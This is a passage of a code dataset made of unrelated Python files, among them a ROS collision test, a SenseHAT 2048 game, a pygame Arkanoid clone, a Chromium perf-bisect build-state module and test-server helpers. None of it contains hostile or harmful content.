fetch(items: str | list[str]):\n headers = {\n \"Accept\": \"*/*\",\n \"Referer\": f\"{Constants.BASE_URL}/{Constants.COUNTRY_CODE}/{Constants.LANGUAGE_CODE}/order/delivery/\",\n \"x-client-id\": Secrets.item_ingka_x_client_id,\n }\n return generic_item_fetcher(items, headers, _fetch_items_specs, 50)\n","sub_path":"src/ikea_api/endpoints/item/item_ingka.py","file_name":"item_ingka.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"650520994","text":"#!/usr/bin/env python\nimport sys\nimport physics as p\nimport pygame as pg\nimport rospy\nimport math as m\nfrom geometry_msgs.msg import Pose\n\ndef posepub():\n pub = rospy.Publisher('robot1n1/pose', Pose, queue_size=10)\n pubball = rospy.Publisher('ballpose', Pose, queue_size=10)\n pose = Pose()\n bpose = Pose()\n rate = rospy.Rate(60)\n pg.init()\n x = -50\n y = 0\n mybot = p.robot(x=x,y=y)\n ball = p.ball()\n i =0\n while not rospy.is_shutdown():\n for event in pg.event.get():\n if event.type == pg.QUIT:\n sys.exit()\n if (i < 10):\n mybot.movebot(1,0,0.2)\n i =i+1\n [ball.xd,ball.yd] = p.collRb(mybot,ball)\n ball.updatestate()\n bpose.position.x = ball.x\n bpose.position.y = ball.y\n p.walleffect(mybot)\n p.walleffect(ball)\n pose.position.x = mybot.x\n pose.position.y = mybot.y\n pose.orientation.z = m.tan(mybot.theta/2)\n pose.orientation.w =1\n bpose.orientation.w =1\n pub.publish(pose)\n pubball.publish(bpose)\n rate.sleep()\n\nif __name__ == '__main__':\n rospy.init_node('collisiontest', anonymous=True)\n try:\n posepub()\n except rospy.ROSInterruptException:\n pass","sub_path":"src/collisiontest.py","file_name":"collisiontest.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"440068404","text":"\"\"\"\nFile: 2048_Game\nAuthor: Massimo Stefani , Michael Greub\nDate: 28.12.2018\n\nThis is a game of 2048 to be played on the Raspberry SenseHAT.\n\"\"\"\n\n# Importation des modules requis\nfrom sense_hat import SenseHat\nfrom random import randint\nfrom time import sleep\nfrom time import time\n\nsense = SenseHat()\nsense.clear(0, 0, 0)\nsize = 8\n\n\n# -----Définition des couleurs-----\n\nMESSAGE = (128, 124, 128)\nBLACK_0 = (0, 0, 0)\nBLUE_1 = (0, 255, 255)\nGREEN_2 = (0, 255, 127)\nGREEN_3 = (0, 255, 0)\nGREEN_4 = (127, 255, 0)\nYELLOW_5 = (255, 255, 0)\nORANGE_6 = (255, 127, 0)\nRED_7 = (255, 0, 0)\nPINK_8 = (255, 0, 127)\nPINK_9 = (255, 0, 255)\nPINK_10 = (127, 0, 255)\nBLUE_11 = (0, 0, 255)\nBLUE_12 = (0, 127, 255)\nWHITE_13 = (255, 255, 255)\nr = RED_7\no = BLACK_0\ny = YELLOW_5\nend = True\n\ncolors = [BLACK_0, BLUE_1, GREEN_2, GREEN_3, GREEN_4, YELLOW_5, ORANGE_6,\n RED_7, PINK_8, PINK_9, PINK_10, BLUE_11, BLUE_12, WHITE_13]\n\n# ------Définition des matrices utilisées------\n\n\nL4 = [[0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0, 0],\n ]\nL8 = [[0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 0]\n ]\n\nL_CROSS = [r, o, o, o, o, o, o, r,\n o, r, o, o, o, o, r, o,\n o, o, r, o, o, r, o, o,\n o, o, o, r, r, o, o, o,\n o, o, o, r, r, o, o, o,\n o, o, r, o, o, r, o, o,\n o, r, o, o, o, o, r, o,\n r, o, o, o, o, o, o, r\n ]\nL_WIN = [o, o, o, o, o, o, o, o,\n o, y, y, y, y, y, y, o,\n o, y, y, y, y, y, y, o,\n o, y, y, y, y, y, y, o,\n o, o, y, y, y, y, o, o,\n o, o, o, y, y, o, o, o,\n o, o, o, y, y, o, o, o,\n o, y, y, y, y, y, y, o,\n ]\n\n# ----- Définitionts des fonctions-----\n\n\ndef startup():\n \"\"\"Starts the game\"\"\"\n global size\n set_matrices_0()\n sense.clear()\n sense.show_message('Choose your mode:', 0.1, MESSAGE)\n modes = ['4X4', '8X8']\n mode = [4, 8]\n sleep(0.2)\n selecting = True\n i = 0\n selection_startup(selecting, modes, mode, i)\n new_block(size)\n\n\ndef set_matrices_0():\n \"\"\"Setting matrixes\"\"\"\n for x in range(4):\n for y in range(4):\n L4[x][y] = 0\n for x in range(8):\n for y in range(8):\n L8[x][y] = 0\n\n\ndef selection_startup(selecting, modes, mode, i):\n \"\"\"Navigation to select the mode\"\"\"\n global size\n while selecting:\n sense.show_message(modes[i], 0.1, MESSAGE)\n for event in sense.stick.get_events():\n if event.action == 'pressed':\n if event.direction == 'right' or event.direction == 'left':\n i = (i + 1) % 2\n sense.show_message(modes[i], 0.1, MESSAGE)\n elif event.direction == 'middle':\n selecting = False\n size = mode[i]\n\n\ndef set_pixels(n):\n \"\"\"Game is played normaly in a 8x8 mode\"\"\"\n if n == 4:\n set_pixels_4()\n else:\n for x in range(8):\n for y in range(8):\n sense.set_pixel(x, y, colors[L8[x][y]])\n\n\ndef set_pixels_4():\n \"\"\"Game is shown in 4x4. 1 pixel = 4 pixels\"\"\"\n L8_affichage = []\n for i in range(8):\n line = []\n for j in range(8):\n line.append(L4[i//2][j//2])\n L8_affichage.append(line)\n for x in range(8):\n for y in range(8):\n sense.set_pixel(x, y, colors[L8_affichage[x][y]])\n\n\ndef new_block(n):\n \"\"\"Create a new block\"\"\"\n sleep(0.25)\n i = number_empty_block(n)\n print (i)\n if i > 1:\n two_new_blocks(n)\n elif i == 1:\n one_new_block(n)\n control_end(n)\n set_pixels(n)\n\n\ndef number_empty_block(n):\n \"\"\"Number of empty block\"\"\"\n L = L4 if n == 4 else L8\n i = 0\n for x in range(n):\n for y in range(n):\n if L[x][y] == 0:\n i = i + 1\n return i\n\n\ndef two_new_blocks(n):\n \"\"\"Add two new blocks\"\"\"\n r = randint(0, 1)\n L = L4 if n == 4 else L8\n while r < 2: # Tant qu'on en a pas créé 2\n x = randint(0, (n - 1))\n y = randint(0, (n - 1))\n # On choisis aléatoirement une ligne et une colonne\n if L[x][y] == 0: # On controle si ce pixel est vide\n L[x][y] = 1\n # On défini un bloc de couleur correspondant au chiffre 2\n r = r + 1\n# Si le bloc est créé on indente pour créé exactement 2 nouveaux pixels\n\n\ndef one_new_block(n):\n \"\"\"Add only one block\"\"\"\n r = randint(0, 1)\n L = L4 if n == 4 else L8\n while r < 1: # Tant qu'on en a pas créé 2\n x = randint(0, (n - 1))\n y = randint(0, (n - 1))\n # On choisis aléatoirement une ligne et une colonne\n if L[x][y] == 0: # On controle si ce pixel est vide\n L[x][y] = 1\n # On défini un bloc de couleur correspondant au chiffre 2\n r = r + 1\n\n\ndef moved_up(n):\n \"\"\"Reacts to the joystick pushed up.\"\"\"\n print(L4)\n L = L4 if n == 4 else L8\n for x in range(n):\n for y in range(n): # Sur chaque pixel en prenantles pixels en ligne puis en colonne\n if L[x][y] > 0 and y >= 1: # On controle que le pixel ne soit pas une case vide\n move_pixel_up(x, y, n)\n set_pixels(n)\n print(L4)\n new_block(n)\n \ndef move_pixel_up(x, y, n):\n \"\"\"Move up the pixel in the matrix\"\"\"\n L = L4 if n == 4 else L8\n while L[x][y - 1] == 0 and y >= 1:# Si la case est vide \n L[x][y - 1] = L[x][y]\n L[x][y] = 0\n y = y - 1\n if L[x][y - 1] == L[x][y]:\n L[x][y - 1] = L[x][y - 1] + 1\n L[x][y] = 0\n \ndef moved_down(n):\n \"\"\"Reacts to the joystick pushed down.\"\"\"\n L = L4 if n == 4 else L8\n for x in range(n):\n for z in range(n - 1):\n y = n - 2 - z\n if L[x][y] > 0 and y <= (n - 2):# On controle que le pixel ne soit pas une case vide\n move_pixel_down(x, y, n)\n set_pixels(n)\n new_block(n)\n\ndef move_pixel_down(x, y, n):\n \"\"\"Move down the pixel in the matrix\"\"\"\n L = L4 if n == 4 else L8\n while y <= (n - 2) and L[x][y + 1] == 0:# Si la case est vide\n L[x][y + 1] = L[x][y]\n L[x][y] = 0\n y = y + 1\n if y < (n - 1) and L[x][y + 1] == L[x][y]:\n L[x][y + 1] = L[x][y + 1] + 1\n L[x][y] = 0\n \ndef moved_left(n):\n \"\"\"Reacts to the joystick pushed left.\"\"\"\n L = L4 if n == 4 else L8\n for y in range(n):\n for x in range(n):\n if L[x][y] > 0:# On controle que le pixel ne soit pas une case vide\n move_pixel_left(x, y, n)\n set_pixels(n)\n new_block(n)\n\ndef move_pixel_left(x, y, n):\n \"\"\"Move left the pixel in the matrix\"\"\"\n L = L4 if n == 4 else L8\n while x > 0 and L[x - 1][y] == 0:# Si la case est vide \n L[x - 1][y] = L[x][y]\n L[x][y] = 0\n x = x - 1\n if L[x - 1][y] == L[x][y]:\n L[x - 1][y] = L[x - 1][y] + 1\n L[x][y] = 0 \n\ndef moved_right(n):\n \"\"\"Reacts to the joystick pushed right.\"\"\"\n L = L4 if n == 4 else L8\n for y in range(n):\n for z in range(n - 1):\n x = n - 2 - z\n if L[x][y] > 0 and x < (n - 1):\n move_pixel_right(x, y, n)\n set_pixels(n)\n new_block(n)\n\ndef move_pixel_right(x, y, n):\n \"\"\"Move right the pixel in the matrix\"\"\"\n L = L4 if n == 4 else L8\n while x < (n - 1) and L[x + 1][y] == 0:\n L[x + 1][y] = L[x][y]\n L[x][y] = 0\n x = x + 1\n if x < (n - 1) and L[x + 1][y] == L[x][y]:\n L[x + 1][y] = L[x + 1][y] + 1\n L[x][y] = 0\n\ndef control_end(n):\n \"\"\"Returns True when the game is finished.\"\"\"\n global end\n end = True\n L = L4 if n == 4 else L8\n check_empty_cells(n)\n check_neigbors_cells_for_center(n)\n check_neigbors_cells_for_border(n)\n if end == True:\n end_animation(n)\n else:\n control_victory(n)\n \ndef check_empty_cells(n):\n global end\n \"\"\"Check if a cell is empty or not\"\"\"\n L = L4 if n == 4 else L8\n for x in range(n):\n for y in range(n):\n if L[x][y] == 0:\n end = False\n\ndef check_neigbors_cells_for_center(n):\n global end\n \"\"\"Check the state of neighbours cells (only cells in the center)\"\"\"\n L = L4 if n == 4 else L8\n if end == True:\n for x in range(1, n - 1):\n for y in range(1, n - 1):\n if L[x][y] == L[x][y + 1] or L[x][y] == L[x + 1][y] \\\n or L[x][y] == L[x - 1][y] or L[x][y] == L[x][y - 1]:\n end = False\n \ndef check_neigbors_cells_for_border(n):\n global end\n \"\"\"Check the state of neighbours cells (only cells in the border)\"\"\"\n L = L4 if n == 4 else L8\n if end == True:\n for y in range(n - 1):\n for x in range(n - 1):\n if L[0][x] == L[0][x + 1] or L[x][0] == L[x + 1][0] \\\n or L[n - 1][x] == L[n - 1][x + 1] or L[x][n - 1] == L[x + 1][n - 1]:\n end = False\n \ndef end_animation(n):\n \"\"\"Show a message when the player loses the game and show the score\"\"\"\n loser_animation_part_1(n)\n score_calculator(n)\n sense.show_message('You lose... Your score is:', 0.075, MESSAGE)\n show = True\n show_score()\n main()\n \ndef loser_animation_part_1(n):\n \"\"\"First animation of a game lost\"\"\"\n set_pixels(n)\n sleep(3)\n r = RED_7\n o = BLACK_0\n sense.clear()\n loser_animation_part_2(n)\n \ndef loser_animation_part_2(n):\n \"\"\"Animation of a red cross when the game is over\"\"\"\n for i in range(5):\n sense.set_pixels(L_CROSS)\n sleep(0.1)\n sense.clear()\n sleep(0.1)\n sense.set_pixels(L_CROSS)\n sleep(1)\n set_pixels(n)\n sleep(2)\n \ndef score_calculator(n):\n \"\"\"Calculate the score shown\"\"\"\n L = L4 if n == 4 else L8\n score = 0\n for x in range(n):\n for y in range(n):\n if L[x][y] != 0:\n score = score + 2 ** L[x][y]\n \ndef show_score():\n \"\"\"Show the score\"\"\"\n while show:\n score = str(score)\n string = score + 'pts'\n sense.show_message(string, 0.1, MESSAGE)\n sense.show_message('Press to end', 0.075, MESSAGE)\n for event in sense.stick.get_events():\n if event.action == 'pressed':\n show = False\n \ndef exit():\n \"\"\"Use to exit the game\"\"\"\n t0 = time()\n while time() < t0 + 1:\n for event in sense.stick.get_events():\n if event.action == 'pressed' and event.direction == 'middle':\n show_message = True\n while show_message:\n sense.show_message('Press to return to the menu', 0.075, MESSAGE)\n for event in sense.stick.get_events():\n if event.action == 'pressed':\n show_message = False\n main()\n \ndef control_victory(n):\n \"\"\"Control if the maximum is reached (14th block)\"\"\"\n L = L4 if n == 4 else L8\n for x in range(n):\n for y in range(n):\n if L[x][y] == 14:\n sense.set_pixels(L_WIN)\n victory(n)\n set_pixels(n)\n \n \ndef victory(n):\n \"\"\"Show the message when the player wins\"\"\"\n sleep(9)\n score_calculator(n)\n sense.show_message('Congratulations, you just reached the highest block. Your score is :', 0.075, MESSAGE)\n show_score\n main()\n \ndef joystick_direction():\n \"\"\"Definition of direction\"\"\"\n if event.direction == 'up':\n moved_up(size)\n elif event.direction == 'down':\n moved_down(size)\n elif event.direction == 'right':\n moved_right(size)\n elif event.direction == 'left':\n moved_left(size)\n elif event.direction == 'middle':\n exit()\n \n#-----Reactions du joystick-----\n \ndef main():\n \"\"\"Main menu\"\"\"\n startup()\n running = True\n while running:\n for event in sense.stick.get_events():\n if event.action == 'pressed':\n if event.direction == 'up':\n moved_up(size)\n elif event.direction == 'down':\n moved_down(size)\n elif event.direction == 'right':\n moved_right(size)\n elif event.direction == 'left':\n moved_left(size)\n elif event.direction == 'middle':\n exit()\n\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"games/2048/game2048.py","file_name":"game2048.py","file_ext":"py","file_size_in_byte":12686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"270289524","text":"# -*- coding: utf-8 -*-\nimport pygame, sys, os, time\nfrom pygame.locals import *\nfrom pygame import *\n\n#Colors_constant\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\n\n\nWIN_WIDTH = 840\nWIN_HEIGHT = 600\nDISPLAY = (WIN_WIDTH, WIN_HEIGHT)\nBLOCK_WIDTH = 65\nBLOCK_HEIGHT = 20\nBLOCK_SPACE = 10\nBLOCK_COLOR = WHITE\nPLATFORM_WIDTH = 80\nPLATFORM_HEIGHT = 10\nPLATFORM_COLOR = WHITE\nBALL_DIAMETER = 16\nBALL_RADIUS = BALL_DIAMETER / 2\n\nSTART_X = (WIN_WIDTH - PLATFORM_WIDTH) / 2\nSTART_Y = WIN_HEIGHT - 2*PLATFORM_HEIGHT\n\nMAX_BALL_X = WIN_WIDTH - BALL_DIAMETER\nMAX_BALL_Y = WIN_HEIGHT - BALL_DIAMETER\n\n# State constants\nSTATE_BALL_IN_PADDLE = 0\nSTATE_PLAYING = 1\nSTATE_WON = 2\nSTATE_GAME_OVER = 3\n\ndef terminate():\n\tpygame.quit()\t\n\tsys.exit()\n\ndef show_message(message, font, screen):\n\t\tsize = font.size(message)\n\t\tfont_surface = font.render(message, 1, WHITE)\n\t\tx = (WIN_WIDTH - size[0]) / 2\n\t\ty = (WIN_HEIGHT - size[1]) / 2\n\t\tscreen.blit(font_surface, (x,y))\n\ndef game():\n\n\tpygame.init()\n\n\tlives = 3\n\tscore = 0\n\tstate = STATE_BALL_IN_PADDLE\n\n\tscreen = pygame.display.set_mode(DISPLAY)\n\tpygame.display.set_caption('Arkanoid')\n\tfont = pygame.font.Font('data/font/coders_crux.ttf',32)\n\n\tclock = pygame.time.Clock()\n\n\tplatform = pygame.Rect(START_X,START_Y,PLATFORM_WIDTH,PLATFORM_HEIGHT)\n\tball = pygame.Rect(START_X,START_Y - BALL_DIAMETER,BALL_DIAMETER,BALL_DIAMETER)\n\n\tlevel = [\n\t\t\" \",\n\t\t\" \",\n\t\t\" \",\n\t\t\" ---------- \",\n\t\t\" ---------- \",\n\t\t\" ---------- \",\n\t\t\" ---------- \",\n\t\t\" ---------- \",\n\t\t\" ---------- \"]\n\n\tblocks = []\n\n\tx = 0\n\ty = 0\n\tfor row in level: \n\t\tfor col in row: \n\t\t\tif col == \"-\":\n\t\t\t\tblocks.append(pygame.Rect(x,y,BLOCK_WIDTH,BLOCK_HEIGHT))\n\t\t\tx += BLOCK_WIDTH + 5\n\t\ty += BLOCK_HEIGHT + 2\n\t\tx = 0\n\n\twhile True:\n\n\t\tclock.tick(60);\n\t\tscreen.fill( (0,0,0) )\n\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.locals.QUIT:\n\t\t\t\tpygame.quit()\n\t\t\tif event.type == K_ESCAPE:\n\t\t\t\tterminate()\n\n\t\tif state == STATE_PLAYING:\n\t\t\tball.left += ball_speed[0]\n\t\t\tball.top += ball_speed[1]\n\t\t\t\n\t\t\tif ball.left <= 0:\n\t\t\t\tball.left = 0\n\t\t\t\tball_speed[0] = -ball_speed[0]\n\t\t\telif ball.left >= MAX_BALL_X:\n\t\t\t\tball.left = MAX_BALL_X\n\t\t\t\tball_speed[0] = -ball_speed[0]\n\n\t\t\tif ball.top < 0:\n\t\t\t\tball.top = 0\n\t\t\t\tball_speed[1] = -ball_speed[1]\n\t\t\telif ball.top >= MAX_BALL_Y: \n\t\t\t\tball.top = MAX_BALL_Y\n\t\t\t\tball_speed[1] = -ball_speed[1]\n\n\t\t\tfor block in blocks:\n\t\t\t\tif ball.colliderect(block):\n\t\t\t\t\tscore += 3\n\t\t\t\t\tball_speed[1] = -ball_speed[1]\n\t\t\t\t\tblocks.remove(block)\n\t\t\t\t\tbreak\n\n\t\t\tif len(blocks) == 0:\n\t\t\t\tstate = STATE_WON\n\n\t\t\tif ball.colliderect(platform):\n\t\t\t\tball.top = (WIN_HEIGHT - PLATFORM_HEIGHT - 10 ) - BALL_DIAMETER\n\t\t\t\tball_speed[1] = -ball_speed[1]\n\t\t\telif ball.top > platform.top:\n\t\t\t\tlives -= 1\n\t\t\t\tif lives > 0:\n\t\t\t\t\tstate = STATE_BALL_IN_PADDLE\n\t\t\t\telse:\n\t\t\t\t\tstate = STATE_GAME_OVER\n\n\t\telif state == STATE_BALL_IN_PADDLE:\n\t\t\tball.left = platform.left + platform.width / 2\n\t\t\tball.top = platform.top - platform.height - 6\n\t\t\tshow_message('PRESS SPACE TO LAUNCH THE BALL', font, screen)\n\t\telif state == STATE_GAME_OVER:\n\t\t\tshow_message(\"GAME OVER. PRESS ENTER TO PLAY AGAIN\", font, screen)\n\t\telif state == STATE_WON:\n\t\t\tshow_message(\"YOU WON! PRESS ENTER TO PLAY AGAIN\", font, screen)\n\n\t\tkeys = pygame.key.get_pressed()\n\n\t\tif keys[pygame.K_LEFT]:\n\t\t\tplatform.left -= 10\n\t\t\tif platform.left < 0:\n\t\t\t\tplatform.left = 0\n\n\t\tif keys[pygame.K_RIGHT]:\n\t\t\tplatform.left += 10\n\t\t\tif platform.left > WIN_WIDTH - PLATFORM_WIDTH:\n\t\t\t\tplatform.left = WIN_WIDTH - PLATFORM_WIDTH\n\n\t\tif keys[pygame.K_SPACE] and state == STATE_BALL_IN_PADDLE:\n\t\t\tball_speed = [3,-6]\n\t\t\tstate = STATE_PLAYING\n\t\telif keys[pygame.K_RETURN] and state == STATE_GAME_OVER: \n\t\t\tgame()\n\t\telif keys[pygame.K_RETURN] and state == STATE_WON:\n\t\t\tgame()\t\n\n\t\tpygame.draw.circle(screen, WHITE, (ball.left, ball.top + BALL_RADIUS), BALL_RADIUS)\n\t\tpygame.draw.rect(screen, WHITE, platform)\n\n\t\tfor block in blocks:\n\t\t\tpygame.draw.rect(screen, BLOCK_COLOR, block)\n\n\t\tfont_surface = font.render(\"SCORE: \" + str(score) + \" LIVES: \" + str(lives), False, WHITE)\n\t\tscreen.blit(font_surface, (320,5))\n\n\t\tpygame.display.update()\n\nif __name__ == \"__main__\":\n\tgame()","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"568827466","text":"# Copyright 2015 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport json\nimport uuid\n\n# This is a wrapper class of revision that stores its build path and\n# queries its status. Part of the code are adapted from the RevisionState\n# class from auto-bisect module\n\nSERVICE_ACCOUNT = 'chromium-bisect'\n\nclass BuildState(object):\n\n def __init__(self, api, commit_hash, with_patch):\n super(BuildState, self).__init__()\n self.api = api\n self.commit_hash = str(commit_hash)\n self.with_patch = with_patch\n if api.m.properties.get('is_test'):\n self._patch_hash = with_patch * '_123456'\n else:\n self._patch_hash = with_patch * ('_' + str(uuid.uuid4())) # pragma: no cover\n self.build_id = None\n if self.with_patch:\n self.bucket = 'chrome-perf-tryjob'\n else:\n self.bucket = 'chrome-perf'\n self.build_file_path = self._get_build_file_path()\n\n def _get_build_file_path(self):\n revision_suffix = '%s.zip' % (self.commit_hash + self._patch_hash)\n return self._get_platform_gs_prefix() + revision_suffix\n\n def _get_platform_gs_prefix(self): # pragma: no cover\n bot_name = self.api.m.properties.get('buildername', '')\n if 'win' in bot_name:\n if any(b in bot_name for b in ['x64', 'gpu']):\n return 'gs://%s/Win x64 Builder/full-build-win32_' % self.bucket\n return 'gs://%s/Win Builder/full-build-win32_' % self.bucket\n if 'android' in bot_name:\n if 'nexus9' in bot_name or 'nexus5x' in bot_name:\n return 'gs://%s/Android arm64 Builder/full-build-linux_' % self.bucket\n return 'gs://%s/Android Builder/full-build-linux_' % self.bucket\n if 'mac' in bot_name:\n return 'gs://%s/Mac Builder/full-build-mac_' % self.bucket\n return 'gs://%s/Linux Builder/full-build-linux' % self.bucket\n\n def _is_completed(self):\n result = self.api.m.buildbucket.get_build(\n self.build_id,\n step_test_data=lambda: self.api.m.json.test_api.output_stream(\n {'build': {'status': 'COMPLETED'}}\n ))\n return result.stdout['build']['status'] == 'COMPLETED'\n\n def _is_build_successful(self): # pragma: no cover\n result = self.api.m.buildbucket.get_build(\n self.build_id,\n step_test_data=lambda: self.api.m.json.test_api.output_stream(\n {'build': {'result': 'SUCCESS', 'url': 'buildbot.dummy.url/job/12'}}\n ))\n return (result.stdout['build']['result'] == 'SUCCESS',\n result.stdout['build']['url'])\n\n # Duplicate code from auto_bisect.bisector.get_builder_bot_for_this_platform\n def get_builder_bot_for_this_platform(self): # pragma: no cover\n bot_name = self.api.m.properties.get('buildername', '')\n if 'win' in bot_name:\n if any(b in bot_name for b in ['x64', 'gpu']):\n return 'winx64_bisect_builder'\n return 'win_perf_bisect_builder'\n\n if 'android' in bot_name:\n if 'nexus9' in bot_name or 'nexus5x' in bot_name:\n return 'android_arm64_perf_bisect_builder'\n return 'android_perf_bisect_builder'\n\n if 'mac' in bot_name:\n return 'mac_perf_bisect_builder'\n\n return 'linux_perf_bisect_builder'\n\n def request_build(self):\n if self.api.m.chromium.c.TARGET_PLATFORM == 'android':\n self.api.m.chromium_android.clean_local_files()\n properties = {\n 'parent_got_revision': self.commit_hash,\n 'clobber': True,\n 'build_archive_url': self.build_file_path,\n }\n\n deps_override = self.api.m.properties.get('deps_revision_overrides')\n if deps_override:\n properties.update({\n 'deps_revision_overrides': dict(deps_override)\n })\n patch_project = self.api.m.properties.get('patch_project')\n if patch_project:\n properties.update({'patch_project': patch_project})\n\n if self.with_patch:\n properties.update({\n 'issue': self.api.m.properties['issue'],\n 'patch_storage': self.api.m.properties['patch_storage'],\n 'patchset': self.api.m.properties['patchset'],\n 'rietveld': self.api.m.properties['rietveld']\n })\n bot_name = self.get_builder_bot_for_this_platform()\n if self.api.m.properties.get('is_test'):\n client_operation_id = '123456'\n else:\n client_operation_id = uuid.uuid4().hex # pragma: no cover\n build_details = {\n 'bucket': 'master.' + self.api.m.properties['mastername'],\n 'parameters': {\n 'builder_name': bot_name,\n 'properties': properties\n },\n 'client_operation_id': client_operation_id,\n 'tags':{}\n }\n result = self.api.m.buildbucket.put(\n [build_details],\n self.api.m.service_account.get_json_path(SERVICE_ACCOUNT))\n self.build_id = result.stdout['results'][0]['build']['id']\n\n def wait_for(self): # pragma: no cover\n while True:\n if self._is_completed():\n succeeded, build_url = self._is_build_successful()\n if succeeded:\n break\n self.api.m.step.active_result.presentation.status = (\n self.api.m.step.WARNING)\n self.api.m.step.active_result.presentation.links['FAILED BUILD'] = (\n build_url)\n self.api.m.halt('Build %s patch failed' % (\n 'with' if self.with_patch else 'without'))\n raise self.api.m.step.StepFailure('Build %s fails' % self.build_id)\n else:\n self.api.m.python.inline(\n 'sleeping',\n \"\"\"\n import sys\n import time\n time.sleep(20*60)\n sys.exit(0)\n \"\"\")\n\n # Adapted from auto_bisect.api.start_test_run_for_bisect\n def download_build(self, update_step, bot_db,\n run_locally=False,\n skip_download=False):\n mastername = self.api.m.properties.get('mastername')\n buildername = self.api.m.properties.get('buildername')\n bot_config = bot_db.get_bot_config(mastername, buildername)\n if not skip_download:\n if self.api.m.chromium.c.TARGET_PLATFORM == 'android':\n # The best way to ensure the old build directory is not used is to\n # remove it.\n build_dir = self.api.m.chromium.c.build_dir.join(\n self.api.m.chromium.c.build_config_fs)\n self.api.m.file.rmtree('build directory', build_dir)\n\n # The way android builders on tryserver.chromium.perf are archived is\n # different from builders on chromium.perf. In order to support both\n # forms of archives, we added this temporary hack until builders are\n # fixed. See http://crbug.com/535218.\n zip_dir = self.api.m.path.join(self.api.m.path['checkout'], 'full-build-linux')\n if self.api.m.path.exists(zip_dir): # pragma: no cover\n self.api.m.file.rmtree('full-build-linux directory', zip_dir)\n gs_bucket = 'gs://%s/' % self.bucket\n archive_path = self.build_file_path[len(gs_bucket):]\n self.api.m.chromium_android.download_build(\n bucket=self.bucket,\n path=archive_path)\n\n # The way android builders on tryserver.chromium.perf are archived is\n # different from builders on chromium.perf. In order to support both\n # forms of archives, we added this temporary hack until builders are\n # fixed. See http://crbug.com/535218.\n if self.api.m.path.exists(zip_dir): # pragma: no cover\n self.api.m.python.inline(\n 'moving full-build-linux to out/Release',\n \"\"\"\n import shutil\n import sys\n shutil.move(sys.argv[1], sys.argv[2])\n \"\"\",\n args=[zip_dir, build_dir])\n else:\n self.api.m.chromium_tests.download_and_unzip_build(\n mastername, buildername, update_step, bot_db,\n build_archive_url=self.build_file_path,\n build_revision=self.commit_hash,\n override_bot_type='tester')\n","sub_path":"scripts/slave/recipe_modules/perf_try_staging/build_state.py","file_name":"build_state.py","file_ext":"py","file_size_in_byte":7882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"574911006","text":"import contextlib\nimport functools\nimport socket\nimport subprocess\nimport tempfile\nimport threading\nimport time\nfrom typing import Callable, Iterator, List, Tuple\n\nimport sniffio\nimport trio\n\ntry:\n from hypercorn import config as hypercorn_config, trio as hypercorn_trio\nexcept ImportError: # pragma: no cover # Python 3.6\n hypercorn_config = None # type: ignore\n hypercorn_trio = None # type: ignore\n\n\ndef lookup_async_backend():\n return sniffio.current_async_library()\n\n\ndef lookup_sync_backend():\n return \"sync\"\n\n\ndef _wait_can_connect(host: str, port: int):\n while True:\n try:\n sock = socket.create_connection((host, port))\n except ConnectionRefusedError:\n time.sleep(0.25)\n else:\n sock.close()\n break\n\n\nclass Server:\n \"\"\"\n Base interface for servers we can test against.\n \"\"\"\n\n @property\n def sends_reason(self) -> bool:\n raise NotImplementedError # pragma: no cover\n\n @property\n def netloc(self) -> Tuple[bytes, int]:\n raise NotImplementedError # pragma: no cover\n\n @property\n def uds(self) -> str:\n raise NotImplementedError # pragma: no cover\n\n @property\n def host_header(self) -> Tuple[bytes, bytes]:\n raise NotImplementedError # pragma: no cover\n\n\nclass LiveServer(Server): # pragma: no cover # Python 3.6 only\n \"\"\"\n A test server running on a live location.\n \"\"\"\n\n sends_reason = True\n\n def __init__(self, host: str, port: int) -> None:\n self._host = host\n self._port = port\n\n @property\n def netloc(self) -> Tuple[bytes, int]:\n return (self._host.encode(\"ascii\"), self._port)\n\n @property\n def host_header(self) -> Tuple[bytes, bytes]:\n return (b\"host\", self._host.encode(\"ascii\"))\n\n\nclass HypercornServer(Server): # pragma: no cover # Python 3.7+ only\n \"\"\"\n A test server running in-process, powered by Hypercorn.\n \"\"\"\n\n sends_reason = False\n\n def __init__(\n self,\n app: Callable,\n bind: str,\n certfile: str = None,\n keyfile: str = None,\n ) -> None:\n assert hypercorn_config is not None\n self._app = app\n self._config = hypercorn_config.Config()\n self._config.bind = [bind]\n self._config.certfile = certfile\n self._config.keyfile = keyfile\n self._config.worker_class = \"asyncio\"\n self._started = False\n self._should_exit = False\n\n @property\n def netloc(self) -> Tuple[bytes, int]:\n bind = self._config.bind[0]\n host, port = bind.split(\":\")\n return (host.encode(\"ascii\"), int(port))\n\n @property\n def host_header(self) -> Tuple[bytes, bytes]:\n return (b\"host\", self.netloc[0])\n\n @property\n def uds(self) -> str:\n bind = self._config.bind[0]\n scheme, _, uds = bind.partition(\":\")\n assert scheme == \"unix\"\n return uds\n\n def _run(self) -> None:\n async def shutdown_trigger() -> None:\n while not self._should_exit:\n await trio.sleep(0.01)\n\n serve = functools.partial(\n hypercorn_trio.serve, shutdown_trigger=shutdown_trigger\n )\n\n async def main() -> None:\n async with trio.open_nursery() as nursery:\n await nursery.start(serve, self._app, self._config)\n self._started = True\n\n trio.run(main)\n\n @contextlib.contextmanager\n def serve_in_thread(self) -> 